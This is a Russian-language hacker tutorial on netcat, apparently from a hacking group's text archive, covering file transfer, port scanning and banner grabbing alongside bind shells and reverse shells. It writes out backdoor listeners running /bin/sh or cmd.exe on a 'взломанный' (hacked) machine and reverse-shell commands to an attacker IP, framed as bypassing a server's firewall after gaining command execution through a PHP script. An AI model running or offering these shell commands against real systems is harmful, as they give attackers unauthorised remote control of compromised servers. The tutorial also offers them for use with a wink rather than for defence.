-------------------------------------------
#!/usr/share/doc/defaced/3/tandp/netcat.txt
-------------------------------------------
::: Швейцарский армейский нож хакера :::
(by GipsHackers Crew)
Утилиту netcat заслуженно называют "швейцарским армейским ножом протокола TCP".
Netcat (далее -nc) представляет собой универсальную утилиту, способную принимать
и передавать данные TCP и UDP соединений.
Hobbit ([email protected]) зарелизил nc в 1995 году в качестве инструмента для
исследования и отладки сети, который был бы способен создавать любые типы
сетевых соединений. Оригинальная версия была написана под UNIX (и Linux). В 1998
г. Weld Pond из L0pht сделал версию под Windows NT.
:: Основные возможности nc:
- входящие и исходящие TCP или UDP соединения на и с любого порта
- полная проверка DNS перенаправлений
- возможность использовать любой локальный порт
- возможность использовать любой локально сконфигурированный сетевой адрес
(интерфейс)
- встроенная возможность сканирования сетевых адресов
- возможность чтения аргументов командной строки через стандартный вход
- и т.п.
Но, чтобы понять что к чему, лучше посмотреть на примеры использования nc. Не
будем разжевывать зачем и в каких случаях это используют. Кому нужно - поймет ;-)
:: Открываем удаленный доступ к командной строке ::
Под unix:
nc -l -p 31337 -e /bin/sh
Под НТ:
nc -l -p 31337 -d -e cmd.ex -L
Разберем опции:
-l -- включаем режим "слушания"
-p -- здесь, кажется, все ясно: указываем какой порт прослушивать (31337)
-d -- позволяет nc запуститься независимо от консоли
-e -- указывает nc, что после установления соединения нужно запустить (cmd.exe
или /bin/sh)
-L -- nc должна перезапускаться с теми же параметрами после разрыва соединения
Чтобы клиент установил соединение достаточно запустить nc, сославшись на адрес
сервера и прослушиваемый порт:
nc IP 31337
Чтобы выйти из консольной сессии напишите команду exit.
Задание: разберите основные флаги (см. "Разбор полетов" в конце статьи)
следующего примера и догадайтесь, почему хакеры используют такой вариант
установления соединения ;-).
- на взломанном компьютере с адресом 10.10.1.15:
nc -l -p 31337 -nvv -e /bin/sh &
- на компьютере хакера:
nc -nvv 10.10.1.15 31337
:: Работаем с FTP ::
Передавать файлы можно при помощи перенаправления вывода.
На машине, куда передаем файл (с ip адресом IP):
nc -l -p 1337 >имя_файла
На машине, с которой передаем файл:
nc IP 1337 <имя_файла
Выходим при помощи ^C.
:: Сканируем порты ::
Вот пример, который давал Hobbit:
nc -v -w2 -z цель 20-30
Nc будет пытаться присоединиться к каждому порту в диапазоне от 20 до 30 на
машине с адресом "цель" и проинформирует нас о банерах, которые передадут службы
ftp, telnet и др., в случае успешного осединения. Флаг -z предотвращает отправку
каких-либо данных по TCP соединению (соответственно скорость сканирования
увеличится), режим нулевого ввода-вывода. Параметр -w2 задает интервал ожидания
для каждого соединения. Для ограничения скорости сканирования можно
воспользоваться флагом -i и указать разрыв между пробами портов. Уровень
подробности выводимой информации задается при помощи -v или -vv.
По умолчанию nc использует TCP соединение. Для задания UDP указываем -u.
В любом случае, nc - это не сканер. Если ничего нас не ограничивает, лучше
воспользоваться nmap для этого.
:: Собираем идентификационные маркеры ::
Да, конечно, можно просто зателнетиться на определенный порт и получить минимум
информации. Но давайте посмотрим разницу между получением маркера при помощи
telnet и nc.
$ telnet 10.15.6.40 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Wed, 15 Oct 2003 09:19:50 GMT
Server: Apache/1.3.19 (Win32) PHP/4.3.1
Last-Modified: Mon, 01 Apr 2002 07:43:38 GMT
ETag: "0-4ef-3ca80faa"
Accept-Ranges: bytes
Content-Length: 1263
Connection: close
Content-Type: text/html
А теперь дело за неткат:
$ nc -v 10.15.6.40 80
BEAR [10.15.6.40] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Wed, 15 Oct 2003 09:23:02 GMT
Server: Apache/1.3.19 (Win32) PHP/4.3.1
Last-Modified: Mon, 01 Apr 2002 07:43:38 GMT
ETag: "0-4ef-3ca80faa"
Accept-Ranges: bytes
Content-Length: 1263
Connection: close
Content-Type: text/html
sent 17, rcvd 255: NOTSOCK
Возможно уместно будет создать простенький сценарий, который бы вызывал nc с
нужными параметрами.
-- begin of marker.sh --
#!/bin/sh
if [ -z $1 ]; then
echo -e "Usage: $0 <host> <port>"
exit
fi
echo -e "HEAD / HTTP/1.0\n\n" | \
nc -vv $1 $2
-- end of marker.sh --
Хотя этот сценарий больше подходит для сбора маркеров веб-серверов, подогнать
под другие цели не составит труда. Например, чтоб получить страницу для анализа
можно указать "GET /index.html HTTP/1.0" и выходные данные передать команде grep
для поиска интересующего контента.
:: Делаем обратный коннект ::
Часто бывает нужно обойти ограничения файрвола на удаленном сервере. Представьте
себе, вы получили доступ к выполнению системных команд, скажем, через php
скрипт. Но вы ограничены в действиях, и вам нужен нормальный shell. Запускаем
бекдор и обнаруживаем, что связи с сервером по порту, который открыл бекдор,
все-таки нет. Очень похоже на фильтрацию портов брандмауэром? Что делать? В
таких случаях обычно пытаются установить обратный коннект (обратный канал),
когда наш сервер выступает в роли клиента. Скорее всего не будут фильтроваться
исходящие соединения по портам 80 и 25. Этим мы и воспользуемся. Как это все
реализуется при помощи netcat:
- на машине хакера с IP 10.31.3.37:
nc -l -n -v -p 80
- на сервере:
nc -e /bin/sh 10.31.3.37 80
Сервер создаст обратный канал и, соединившись с нашим компьютером, даст нам
доступ к командному интерпретатору.
Но бывает, что брандмауэр пропускает входящие запросы по одному порту, а
исходящие - по другому. В таком случае нужно сделать реверсивный сеанс. пусть,
как мы и сказали ранее, это будут порты 25 и 80.
Запускаем на машине хакера 3.1.3.37 два сеанса nc:
nc -vv -l -p 25
nc -vv -l -p 80
на взломанном сервере:
nc 3.1.3.37 80 | /bin/sh | nc 3.1.3.37 25
Что мы увидим на нашем компьютере? На 80-й порт мы принимаем соединение с
сервером, передаем команды, которые в свою очередь перенаправляются командному
интерпретатору, а результат направляется нам на порт 25.
:: Разбор полетов ::
Опции nc:
-d запускает nc не в консольном (скрытом) режиме
-e для запуска другой программы
-i задает временной интервал
-g используется для саздания протрассированного соединения (после traceroute)
-G позиционирует "прыгающий указатель" в списке
-l переводит nc в режим ожидания входящего соединения
-L перезапускает nc с теми же параметрами, что и до разрыва соединения
-n неткат использует только IP адреса и не делает DNS запросов
-o используется для получения HEX дампа файла данных. использование: -o имя_лог_файла.
-p требуется для исходящих соединений. параметр, задающий порт, может быть как числом так и именем. если не использовать -p, nc будет использоватьлюбой из неиспользуемых портов, которые система выделит (и если не используется опция -r).
-r сканирование портов будет происходить случайным образом (в нормальном режиме - от большего к меньшему)
-s указывает какой сетевой адрес использовать ("-s IP" или "-s имя"). в логе входящие и исходящие соединения будут начинаться с символов "<" и ">" соответственно.
-t позволяет nc отвечать на согласование опций telnet (работает только, если nc скомпилирована с параметром -DTELNET)
-u указывает, что нужно использовать UDP, а не TCP
-v контролирует уровень подробности информации:
@ без параметра -n будет производиться полный поиск имен и адресов хоста, будет сообщено о несоответствии имен DNS
@ часто требуется использовать -w 3, что ограничит время, затрачиваемое на попытку установить соединение
@ для нескольких портов требуется использовать -v дважды
-w ограничивает время, затрачиваемое на попытку установления соединения
-z предупреждает отправку любых данных по TCP соединению и очень ограничивает зондирование UDP соединений. использование -i даст возможность задать интервал между попытками. полезно для задания быстрого сканирования открытых портов.